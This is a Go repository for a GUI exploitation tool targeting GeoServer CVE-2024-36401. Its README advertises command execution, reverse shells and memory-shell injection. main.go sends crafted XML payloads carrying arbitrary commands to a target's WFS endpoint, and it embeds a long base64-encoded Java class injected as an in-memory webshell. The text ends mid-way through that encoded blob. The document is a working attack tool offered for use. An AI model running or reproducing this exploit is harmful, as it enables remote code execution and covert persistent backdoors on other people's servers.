├── README.md
├── go.mod
└── main.go
/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2024-36401漏洞图形化利用工具,功能包含命令执行、反弹shell、低版本JDK注入内存马
2 | 
3 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module gui-exp
2 |
3 | go 1.21.3
4 |
5 | require fyne.io/fyne/v2 v2.5.1
6 |
7 | require (
8 | github.com/fyne-io/glfw-js v0.0.0-20240101223322-6e1efdc71b7a // indirect
9 | github.com/rymdport/portal v0.2.6 // indirect
10 | golang.org/x/mobile v0.0.0-20231127183840-76ac6878050a // indirect
11 | )
12 |
13 | require (
14 | fyne.io/systray v1.11.0 // indirect
15 | github.com/BurntSushi/toml v1.4.0 // indirect
16 | github.com/davecgh/go-spew v1.1.1 // indirect
17 | github.com/fredbi/uri v1.1.0 // indirect
18 | github.com/fsnotify/fsnotify v1.7.0 // indirect
19 | github.com/fyne-io/gl-js v0.0.0-20220119005834-d2da28d9ccfe // indirect
20 | //github.com/fyne-io/glfw-js v0.0.0-20240101223322-6e1efdc71b7a // indirect
21 | github.com/fyne-io/image v0.0.0-20220602074514-4956b0afb3d2 // indirect
22 | github.com/go-gl/gl v0.0.0-20211210172815-726fda9656d6 // indirect
23 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20240506104042-037f3cc74f2a // indirect
24 | github.com/go-text/render v0.1.1-0.20240418202334-dd62631dae9b // indirect
25 | github.com/go-text/typesetting v0.1.0 // indirect
26 | github.com/godbus/dbus/v5 v5.1.0 // indirect
27 | github.com/gopherjs/gopherjs v1.17.2 // indirect
28 | github.com/jeandeaual/go-locale v0.0.0-20240223122105-ce5225dcaa49 // indirect
29 | github.com/jsummers/gobmp v0.0.0-20151104160322-e2ba15ffa76e // indirect
30 | github.com/nicksnyder/go-i18n/v2 v2.4.0 // indirect
31 | github.com/pmezard/go-difflib v1.0.0 // indirect
32 | //github.com/rymdport/portal v0.2.6 // indirect
33 | github.com/srwiley/oksvg v0.0.0-20221011165216-be6e8873101c // indirect
34 | github.com/srwiley/rasterx v0.0.0-20220730225603-2ab79fcdd4ef // indirect
35 | github.com/stretchr/testify v1.8.4 // indirect
36 | github.com/yuin/goldmark v1.7.1 // indirect
37 | golang.org/x/image v0.18.0 // indirect
38 | //golang.org/x/mobile v0.0.0-20231127183840-76ac6878050a // indirect
39 | golang.org/x/net v0.25.0 // indirect
40 | golang.org/x/sys v0.20.0 // indirect
41 | golang.org/x/text v0.16.0 // indirect
42 | gopkg.in/yaml.v3 v3.0.1 // indirect
43 | )
44 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "crypto/tls"
6 | "encoding/base64"
7 | "fmt"
8 | "fyne.io/fyne/v2"
9 | "fyne.io/fyne/v2/app"
10 | "fyne.io/fyne/v2/container"
11 | "fyne.io/fyne/v2/widget"
12 | "io/ioutil"
13 | "log"
14 | "net/http"
15 | "net/url"
16 | "regexp"
17 | "strings"
18 | "time"
19 | )
20 |
21 | var proxyURL *url.URL
22 | var proxyLabel *widget.Label // 全局变量,用于显示代理设置
23 |
24 | // 代理设置窗口
25 | func proxySettingsWindow() {
26 | // 新窗口
27 | proxyWindow := fyne.CurrentApp().NewWindow("设置代理")
28 |
29 | // 输入框
30 | proxyTypeEntry := widget.NewSelect([]string{"HTTP", "SOCKS"}, func(value string) {})
31 | proxyAddressEntry := widget.NewEntry()
32 | proxyAddressEntry.SetPlaceHolder("输入代理地址,例如:http://127.0.0.1:8080")
33 |
34 | resultLabel := widget.NewLabel("")
35 | // 保存按钮
36 | saveButton := widget.NewButton("保存代理", func() {
37 | proxyAddress := proxyAddressEntry.Text
38 | if proxyAddress != "" {
39 | parsedURL, err := url.Parse(proxyAddress)
40 | if err != nil {
41 | resultLabel.SetText(fmt.Sprintf("代理设置失败:%s", err))
42 | } else {
43 | proxyURL = parsedURL
44 | resultLabel.SetText(fmt.Sprintf("代理设置为:%s", proxyURL))
45 |
46 | // 更新主界面的代理显示标签
47 | proxyLabel.SetText(fmt.Sprintf("当前代理: %s", proxyURL.String()))
48 |
49 | proxyWindow.Close()
50 | }
51 | }
52 | })
53 |
54 | cleanButton := widget.NewButton("清除代理", func() {
55 | proxyURL = nil
56 |
57 | // 更新主界面的代理显示标签
58 | if proxyURL != nil {
59 | proxyLabel.SetText(fmt.Sprintf("当前代理: %s", proxyURL.String()))
60 | } else {
61 | proxyLabel.SetText("当前代理: 无")
62 | }
63 | proxyWindow.Close()
64 | })
65 |
66 | // 布局
67 | content := container.NewVBox(
68 | widget.NewLabel("选择代理类型:"),
69 | proxyTypeEntry,
70 | widget.NewLabel("输入代理地址:"),
71 | proxyAddressEntry,
72 | saveButton,
73 | cleanButton,
74 | )
75 |
76 | proxyWindow.SetContent(content)
77 | proxyWindow.Resize(fyne.NewSize(400, 200))
78 | proxyWindow.Show()
79 | }
80 |
81 | // 漏洞利用函数,向GeoServer发送恶意请求
82 | func exploit(targetURL, command string) (string, string, error) {
83 | // 构造Payload
84 | payload := fmt.Sprintf(`
85 |
90 |
91 | `, command)
92 |
93 | // 创建HTTP POST请求
94 | req, err := http.NewRequest("POST", targetURL, bytes.NewBuffer([]byte(payload)))
95 | if err != nil {
96 | return "", "", err
97 | }
98 |
99 | // 设置HTTP头
100 | req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36")
101 | req.Header.Set("Content-Type", "application/xml")
102 | req.Header.Set("Accept", "*/*")
103 | req.Header.Set("Connection", "close")
104 |
105 | tr := &http.Transport{
106 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
107 | }
108 | // 如果设置了代理,则使用代理
109 | if proxyURL != nil {
110 | tr.Proxy = http.ProxyURL(proxyURL)
111 | }
112 | // 发送请求
113 | client := &http.Client{Transport: tr,
114 | Timeout: 4 * time.Second}
115 | resp, err := client.Do(req)
116 | if err != nil {
117 | return "", "", err
118 | }
119 | defer resp.Body.Close()
120 |
121 | // 读取响应
122 | body, err := ioutil.ReadAll(resp.Body)
123 | status_code := resp.Status
124 | if err != nil {
125 | return "", "", err
126 | }
127 |
128 | return string(body), status_code, nil
129 | }
130 |
131 | func formatTargetURL(input string) string {
132 | // 正则表达式匹配 http:// 或者 https:// 开头的 URL
133 | re := regexp.MustCompile(`^(http://|https://)?([0-9a-zA-Z\.-]+)(:[0-9]+)?(/.*)?$`)
134 |
135 | // 匹配输入
136 | match := re.FindStringSubmatch(input)
137 |
138 | if match != nil {
139 | // match[2] 是主机名或 IP 地址
140 | // match[3] 是端口(可能为空)
141 | host := match[2]
142 | port := match[3]
143 |
144 | // 如果 URL 没有 http:// 或 https://,则默认加上 http://
145 | if !strings.HasPrefix(input, "http://") && !strings.HasPrefix(input, "https://") {
146 | return fmt.Sprintf("http://%s%s/geoserver/wfs", host, port)
147 | }
148 |
149 | // 规范化 URL
150 | return fmt.Sprintf("%s%s/geoserver/wfs", match[1], host+port)
151 | }
152 |
153 | // 如果输入不匹配预期格式,返回空字符串或错误信息
154 | return ""
155 | }
156 |
157 | func inject(targetURL string) (string, string, error) {
158 | payload := fmt.Sprintf(`
162 |
163 | eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
164 | var str="yv66vgAAADEBiQEADmphdmEvbGFuZy90ZXN0BwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEADGdldENsYXNzTmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEQ29kZQEAKGNoLnFvcy5sb2diYWNrLkNvbnRleHRMb2FkZXJScGtiTGlzdGVuZXIIAAgBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zAQATamF2YS9pby9JT0V4Y2VwdGlvbgcADAEAEGphdmEvbGFuZy9TdHJpbmcHAA4BEUhINHNJQUFBQUFBQUFBSTFZQ1h3VTFSMytYbmFUMld3V2dTd0V3bjJ6U1RaWkFnUkNJQ0s1SUpBc21JVFFRQzFPTnBOa1liTzc3aEVJaUJkZWJXMDk2b1d0dmF4Rld0dHk2Q2FSaXRSYWJiVjNhNjMyc0xldDlxNVNiYXZwOTJZbW0yTVQ0Q2VabVgzdmYzNy80LzJmejcvM3hCa0F4V0tIZ012WDZia3FGUFVFUWgydHFtK3ZweklVakduN1kzVWh0VTJMTklUM3R0YjVvekV0cUVVVUNJR3BlOVJ1MVJOUWd4MmV5b0FhalJwa0Npd0NpK1RXZms5VWkzUUh0SmluMFhnM2FGZkZ0V2hzU0VpNlFNWTZmOUFmdTFUQTRzcHJGckJXaHRvMGdZbDEvcURtalhlMWFwRW10VFhBbGV5NmtFOE5OS3NSdi94dExscGpuZjZvUUg3ZHhkcTkxZ0VGTmp1c3VFUmdocXR1VEEvV1NrUEVBWUZwNCt4TElaT2tFQ2RwaGtnYVl4Ri9zS01pN2cvb01FeTFJMGVxc1liSktSMFlUVWs1MDVHYmlUVE1JQTVxT0t3RjJ3UUtYYW1FZVNsTHBoYUttSVhaVXRFY0lyaFg2M0ZnbmlGeXZvQXRGaktJQmFhNFVrV1FkeUVXU2Q3RjVPMXFLeEZZY2xHNnliZ1VManVWNU1rdlhWMkJRUHIycHByQ1Voc0tCZEo4VVFjOHhzNHlZbms1azhXMXF5SnZOSjVySldrckg3c3FCTExhdEhaR1hkOGdycVN2clUzbGNHQVZWa3ZzU3lsM3Y0QkN1cDE1a3Q4NVJGcTkzNmVGWS81UVVNRTZrdm1vdnM3SVNGK2tKeHdMZVNyOTRVNml4K0IwcTVHVmc5dWptTGt0YUlubzR0OU9CU1dtaWxGQ0ZOUUlUR2lNTWUvcTFiQ1ptSllOMVkwMjFOS3BEaTFXRzR6RzFLQ1B5M25qNGp2YU1nZTJvTTZPamFnWG1EdUNJQnJXZkN3b1gwU0xiZEY2R3ZsTHdWYUJTYU1GS3lEcU5xcXY2SWxwZE1QcUlrb09OS0xKamdac054QWV3NXhtbWQwNzdOaUc5NUZKRnFja3JUVW9vNW92SHZISGVqeFVyWlB1eEM1cDVmc1ppTFpRalQrb0JwaktNdFJTMXdld1cyNWVTZXNpUnVsWDhTOFM2dEhha3JrMlhwT283dGFDTWIwU25kSFVEWUdGRjhITm9qUDExdElOdnhyd0g1Q2FNOVJJWkd1Y011WWFUdmxESG9uUmhraEU3ZUY2T0I0akZwcmFKZVBmUHJKd3Q3YnUwWHhTc0MyaVJjT2hZSlJCSGUxSFp5d1c5bXppSTJtU1FVa3VKYXBGbzh3c2dYbmpNK2tVTWpYYjFKaEtIdE1GZ2FVWFZLUVRrblgrQmJGUkVCRllmRkh5RkZEM2tvdnpVVUczd0p6enU2YUFaVHVaaVRsU0RURng1WjAzcUN5S0F6aG9SeFJYQzlnN05kbUx2V3FYNXNBMVJxdTVWaUNUY2pmcE93NWNEMWNXNHJpQlZXZ1FONnVCT0tsdk5LaHZZaFI5UENoVWY1RGxNWFBFWWRDcFJocWxVbGJ0MnJ5ZER0eUNXMlhWZkZBZ3AyUEkyNXBJcUN0cC9lVVh6Z1BEaTlGT2pwc3ZEbndZdDhrMit4RzZxK05sSnMrQ0ZLQlMwc2VCMjNHSDlQNU9BUWQ1dDZrUkloV1RzSHpNZ09WdWJyU3FVVzNWeWlyTnB4KzZPV04xSjFuSDkrSSthY2I5RHBSaHJmeDZnR2taVm5zQ1BBNXQrSVNoWVVPTUhLM3htSGJoWThTc0lnYytpVTlsb1FlZkh0RytqRjBGbnpYYWwza2VPRjFqblFXZnc4TjJQSVRQYzJJWXRhbmdFWUZMQnZtTmcxc2dOMVZLOGt6L0FyNW94ekU4S2gxME9yQWNLK1RYVitoZGRJUjNTOGZ3THRVNTJSeFA0S1IwN3hUREZ4N0VQMnJENHhKK0xzNCtiL2RSMEdkSHZ4d2dzb0xhdnFFelpPUlJub1R5Tkw0cXJYK1M3WTE1cGdhaThzZ2R3eXdtODFNNEswSDdtbEV0TzlqUEpUVFRCdVhTb0cxMHl0eWc2Sy9qbVN6c3d6ZElINDIzUnMyUklzYzE4bmhPemdiUDRadXlWcjQxZUNLUGxLZmdCWTRLKytUM0tBdUhIVURmd1hmdCtEYStKODNrY0pJVkN5VWhjdUNIOGdUcng0K1MrVnNkSE16ZmtTTkcwcUlYOFJNWnlwZWt3dkZzZmxuYS9BcDF0UWZpMGM2S2VIdTdySldmd3laZC93VWptQndMaUt4dHQ2OVREUWExZ0EyL29qZEVzWVlIVmVrWWVGOWtJZndHdjVVVy9vNFE3eDQ4V1d6NEE4M1p6UllWSkJFVjIvQkhzN2thM041UVk5elhXZVBYQW0zREJwN1hqYUdtWlBDTUdaL1dISCtXR2E5aTQ3V2NSVEtNTDZLMUI2amRvM09hREN2WXZzZVk1S2FOdzZYZ1RkWTNNV0tmQ2FnUnJVMWZ2ZkNnTzFLMUErZndiNW5oYjNQYWtzMHdIdFlpUHFuYWdmL0lMbkFNLzVXVEN4UG5EYnhMR2xtMFBwOXNoOFpWd2JWVFp0WUFJNG0zQkc4dkZnb1oxYW9HYTJTTUNBbUxzRXBHM2xobWp4cUY2cWxEN2RDcS9CM0c0V3VKU01HVytxb1NtOGprd1hJZWFrVmtDUlNQajhNNE9qZ2NpZ2wyNFJCc0Roa0JMZGdSNjlUdlQ3VU9NVWxNWmlLTGJHN0V3eHdnTkdOQ1pxazJPOFFVTVZWeTViQ0o2T0s3MUZpbnA4TGZVY3ZiVWdkTFUwd25XNXV1d3lGbXNNeElQRlBPYzdVc0xEa1hpdGwya1N2bXlJdkR5L0pybmw2YjIzbHppVlN5RkIxaWdieFFOSWlGMUdwVUpSdExobEdsUnU2czRyRGZ5Z3BLNzVabnNkbjNpK0l4ZjZDb1FpZXppWHd5dDRmMGs1MGp5Z1dTeER3SWhGc1VNZ1ZFa1hGU21ycHRncm1kdlN1RlhCSExqZDVYcjhVNlEwekZ5OGJRa3NvMlZuSWFFbWpBU2xFaURhQi96bDJwK2FNSVhsZW1qOGV1aURMQzVBOTJoL2JTNVRWanBPUVlJc2ZNMG5XaTNDN1dDbDZuTDlGMERKck1LNkJOWE1ZR0dZMEhpN3I4VVY5UnhZYkc2c0hHU1pncTVLbWgvN0NKS2puS2EyYnM3RWJaR2xRYlpYWm9CbFZ0cXJRazNSWjJab1BPYUtNMndVdU1iWjB2b04vMGJXQ1dUVnJoVzZVdGF5MVYxL2lLUzVZdlg2bmE1QjFSYWRCSUxoa2FHUjl2T0JEYUU0N3QzVzhUMnpHZjNkRUtHc0QvYlBMU0NTQlRYakg1dHNscnRQNmVwNytGbkFmMTk0MzYyOEV2M3ZyNXpPU3ZEWlFrK0hibTkySml2bE0wUFk3citHcCtIRGVmNEhJYSt3TWdtekV3QjltWWl5eFRCRm40bnFBTDV2M2ZGQmNucGFRdHlTL294WlNSOGs0anA2VVgwMDVpWmdKelQySUJud2tzNlVQK0tiaXppMDZoZUVoaE5yMERGbERGUW5xMUNDdXhXRmVjWXdnM0ZjdXZ5YVRseFVUT0o2WUo1ZVNWVkpuNUJaYUNNNzFZY3p3cE5rTzMyelZNVkdaU1ZDYVZsT2lpT05XWm9sNGloelNrSUh0ekg3emV3bGxIb0ZpUHdwcCtHdHRhZEErYXN6ZjNvaVdCS3dvTEVsQ1BlOFZ4WGNWU0tpbUhSVmVhZzNRK0N5bXFpQjU1dUxNTWVTaldqVmpKdlF5dVhvcjFwTTZqU1pjeEloYXBNbWxZQVNwMHcrUlhKYXBJczRuZjYyQVp3RVJZRmFRcHFCWUtMNWJ5TWNDdDRXdjgyQ2dHTUEwV2MxRlNsVk5hSzN5bWt5VTZQQXpqaVZFNHJScUdrMGlhSTlBR1RjZXBmVkNFZUkxdTJMaDNqaUFjT290NHZUdi9NVnpYajhOcGVCYXZEdjNneDgwSmZPZ0lYc2gzOStLalhuYy83aUxlVmpkem9oLzNwS0VQUjhyUzgzUFRMUWw4dkN3OTE1cjlZRDgrazhaNVpJSDhQbzIwbHZ3RWppYndwVjU4T1RjOWdlUDllTXlDb3pqb3prN2twdmVqMThMSnI1OVo5a1JaUnBMN0xJNGxjS1pNeVZWeU14SjRla2V1NHBhdnduNDhLM0FTYnN1a1NRazhuOEQzYzVVRWZtQ3U1MHZhSDF0cFJ4OSt5cjBrdFNUK21iSHdTMEhWVnU4Sm9tRERQL0JtTXVUTm1Ncm5HcTZ1WlZEWE1lamxXTTBnVnpQTVhvWjRKNFBjdzJBZVpqaHY0K3FEcU1IRERPdWpxTVVaYk1ZejJJSlhVTWVqMjB1NURaUjhPZDVDb3g2UEJrcTlqUkhvUUNmajlDQ2E0TWNlVnFBSFQyTXZBclJnTlo1QUY0TE0zR3BLRERIQU1nSFBKU040em95Z0RYOUZHRmVaQ2JVUTFnRWFsYUhuQ2U4TGNRWDdGUFF3WjRDM3NhOUNwZzFKZVFmajgxV1paaFJScm1mUWVyMGJNVDhMblBoMUgzN3Z4R3Q4bnNXKytxT1k3dVhpbjBZdFd0eEdtVXpHRkNrVitYTGlveEFwN0VWNklPMHRGZlV5MXQ3QzdJY2VSbzRzcjNmSU9hSE1XcGpBLzd4SEIxNTNQd2ZIYWJ6UndrYnozbE51YTBLa3VmTVRJa05LbnNER2tVUDBqR2dzcCtjZzVtbllSWnl1NE81dTdsOUpDcFd0c2hXem1jZnptTTJMaUdraDBWeE9QQWVMY3pyLy9veS82TzZWRXE4OU9vS2wrQnRiS2M5dTFzamZHYUUweWkzR1AvRXZhdHlrKzJWOUY0cUN0eFFjOHlwNEk5TXhBakhaSFl6YWU0UnJGdjEvTjljNWhiMVBUR1Rsc0tsWTZJZ3pJYWFkRnJrdFZuZEN6T29WYzVsM1luNUNMS3BqeXRVWEhOZTFGN0NsRE9iY0hOb0FSanVORWMxRWhONUZ1UjhuUll5NTBhMTdOSSswbVd3M2xXd0NzcXFMMlZweTlhcjNDSnZ1MFNhOXI2Y05rSTFwME1CL1JzTWdHNjhOUm9pRWw0a25RM1JJV2wzUUp6ejFicWNvRm1mRmlvUlk3ZVo3VFVLczl6Sk9SNTFpZy9WSkhHdXhaRmMzY3ErUVB4NXFzZVR6ZS8xWk5OQ1Z0VjZucU5RbHlCSzE1bHAxcHVyaFRMbldGSzcwTWlzUlNOUGJaU1d0cTZKL1BVa2tqSGdmNE80aG1uc040M3N0Nlc0aDVYV2t2SUcxZFpqMWRDTjViaWJYVFRpSVczVjBOaEhCMlZnb0ZqUEtFcWN5c1lRUlRTUHRZbjNOU3M0aWM2MEtxOFZTczFVZkVpNnppUjRVZVVrVTgyU0RydFNiN2lDS0F5U3ptci8xTHN6SE95UWZuaHYzNGo2enFUYVpLQjhlanZLbXNWSGViQUxXa0lweU5mOFJza3NKZEYwSzBON2hmS09BTmhtSHNLNWtseXJubVhJMThSeUp0V3dKdDlQb080amZuYVE3UXNxN1NIazMrOWM5N0ZEM2t1ZCtjdDJINi9IQU1LeVhpQm9UNjNJVDF5YTQ5RFVyT1l2TnRZMk14Q0RXaDRtMWtiSFhFK3VTNFZqWG1CbGJiV0pkS3JIV2Z3L0gyaWEySm1jZnIxNEVRSkZUYkR1Rm1VN1JjQW9MTG1wS0VicnpsOUFrQjJhd21tZXljY3dDL2cvSlZEVGhQUm9BQUE9PQgAEAEABjxpbml0PgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAEgATCgAPABQBAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAXAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAIbGlzdGVuZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAdjb250ZXh0AQAIY29udGV4dHMBABBMamF2YS91dGlsL0xpc3Q7AQAEdGhpcwEAEExqYXZhL2xhbmcvdGVzdDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAOamF2YS91dGlsL0xpc3QHACQBABJqYXZhL3V0aWwvSXRlcmF0b3IHACYBAA1TdGFja01hcFRhYmxlDAASABYKAAQAKQEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsMACsALAoAAgAtAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7DAAvADALACUAMQEAB2hhc05leHQBAAMoKVoMADMANAsAJwA1AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAA3ADgLACcAOQEAC2dldExpc3RlbmVyAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMADsAPAoAAgA9AQALYWRkTGlzdGVuZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYMAD8AQAoAAgBBAQASY29udGV4dENsYXNzTG9hZGVyAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHAEcBABBqYXZhL2xhbmcvVGhyZWFkBwBJAQATamF2YS91dGlsL0FycmF5TGlzdAcASwoATAApAQARZ2V0QWxsU3RhY2tUcmFjZXMBABEoKUxqYXZhL3V0aWwvTWFwOwwATgBPCgBKAFABAA1qYXZhL3V0aWwvTWFwBwBSAQAGa2V5U2V0AQARKClMamF2YS91dGlsL1NldDsMAFQAVQsAUwBWAQANamF2YS91dGlsL1NldAcAWAEAB3RvQXJyYXkBACgoW0xqYXZhL2xhbmcvT2JqZWN0OylbTGphdmEvbGFuZy9PYmplY3Q7DABaAFsLAFkAXAEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAJihMamF2YS9sYW5nL1RocmVhZDspTGphdmEvbGFuZy9PYmplY3Q7DABeAF8KAAIAYAEAE2lzV2ViQXBwQ2xhc3NMb2FkZXIBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAGIAYwoAAgBkAQAfZ2V0Q29udGV4dEZyb21XZWJBcHBDbGFzc0xvYWRlcgwAZgA8CgACAGcBAANhZGQMAGkAYwsAJQBqAQAQaXNIdHRwQ29ubmVjdGlvbgEAFShMamF2YS9sYW5nL1RocmVhZDspWgwAbABtCgACAG4BABxnZXRDb250ZXh0RnJvbUh0dHBDb25uZWN0aW9uDABwAF8KAAIAcQEACVNpZ25hdHVyZQEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47CABeAQAMaW52b2tlTWV0aG9kAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsMAHYAdwoAAgB4AQALY2xhc3NMb2FkZXIBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMAHsAfAoABAB9AQAPamF2YS9sYW5nL0NsYXNzBwB/AQAHZ2V0TmFtZQwAgQAGCgCAAIIBABFXZWJBcHBDbGFzc0xvYWRlcggAhAEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDACGAIcKAA8AiAEAB2hhbmRsZXIBAAhfY29udGV4dAgAiwEABWdldEZWDACNAHcKAAIAjgEAD19zZXJ2bGV0SGFuZGxlcggAkAEAD19jb250ZXh0SGFuZGxlcggAkgEADmh0dHBDb25uZWN0aW9uAQAFZW50cnkBAAFpAQABSQEADHRocmVhZExvY2FscwEABXRhYmxlCACYCACZAQAXamF2YS9sYW5nL3JlZmxlY3QvQXJyYXkHAJwBAAlnZXRMZW5ndGgBABUoTGphdmEvbGFuZy9PYmplY3Q7KUkMAJ4AnwoAnQCgAQADZ2V0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0kpTGphdmEvbGFuZy9PYmplY3Q7DACiAKMKAJ0ApAEABXZhbHVlCACmAQAOSHR0cENvbm5lY3Rpb24IAKgBAAtodHRwQ2hhbm5lbAEAB3JlcXVlc3QBAAdzZXNzaW9uAQAOc2VydmxldENvbnRleHQBAA5nZXRIdHRwQ2hhbm5lbAgArgEACmdldFJlcXVlc3QIALABAApnZXRTZXNzaW9uCACyAQARZ2V0U2VydmxldENvbnRleHQIALQBAAZ0aGlzJDAIALYBABhIdHRwQ29ubmVjdGlvbiBub3QgZm91bmQIALgKABgAFAEAE2phdmEvbGFuZy9UaHJvd2FibGUHALsBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwDGAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7DADIAMkKAEoAygEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAF4AzAoASgDNAQAOZ2V0Q2xhc3NMb2FkZXIMAM8AzAoAgADQDAAFAAYKAAIA0gEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMANQA1QoAxwDWAQALbmV3SW5zdGFuY2UMANgAOAoAgADZDAAKAAYKAAIA2wEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAN0A3goAAgDfAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAOEA4goAAgDjCAC/BwC+AQARamF2YS9sYW5nL0ludGVnZXIHAOcBAARUWVBFDADpAMIJAOgA6gEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwA7ADtCgCAAO4BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHAPABAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwA8gDzCgDxAPQBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwA9gD3CgDoAPgBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAPoA+woA8QD8AQAKaXNJbmplY3RlZAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWgwA/gD/CgACAQABABBhZGRFdmVudExpc3RlbmVyCAECAQAXamF2YS91dGlsL0V2ZW50TGlzdGVuZXIHAQQBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAHYBBgoAAgEHAQAOZXZlbnRMaXN0ZW5lcnMBABpbTGphdmEvdXRpbC9FdmVudExpc3RlbmVyOwEACWNsYXNzTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwcBCgEAEWdldEV2ZW50TGlzdGVuZXJzCAEOAQAMZGVjb2RlckNsYXNzAQAHZGVjb2RlcgEAB2lnbm9yZWQBAAliYXNlNjRTdHIBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIIARUBAAdmb3JOYW1lDAEXANUKAIABGAEADGRlY29kZUJ1ZmZlcggBGgEACWdldE1ldGhvZAwBHADtCgCAAR0BABBqYXZhLnV0aWwuQmFzZTY0CAEfAQAKZ2V0RGVjb2RlcggBIQEABmRlY29kZQgBIwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uBwElAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcBJwEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HASkBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcBKwEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBNgEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HATgBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBOgoBNwApAQAFKFtCKVYMABIBPQoBOQE+AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAASAUAKATsBQQEABHJlYWQBAAUoW0IpSQwBQwFECgE7AUUBAAV3cml0ZQEAByhbQklJKVYMAUcBSAoBNwFJAQALdG9CeXRlQXJyYXkBAAQoKVtCDAFLAUwKATcBTQEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAVMBVAoAAgFVAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAVcKAVgA9AwAogA8CgFYAVoBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAVwBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAEGdldERlY2xhcmV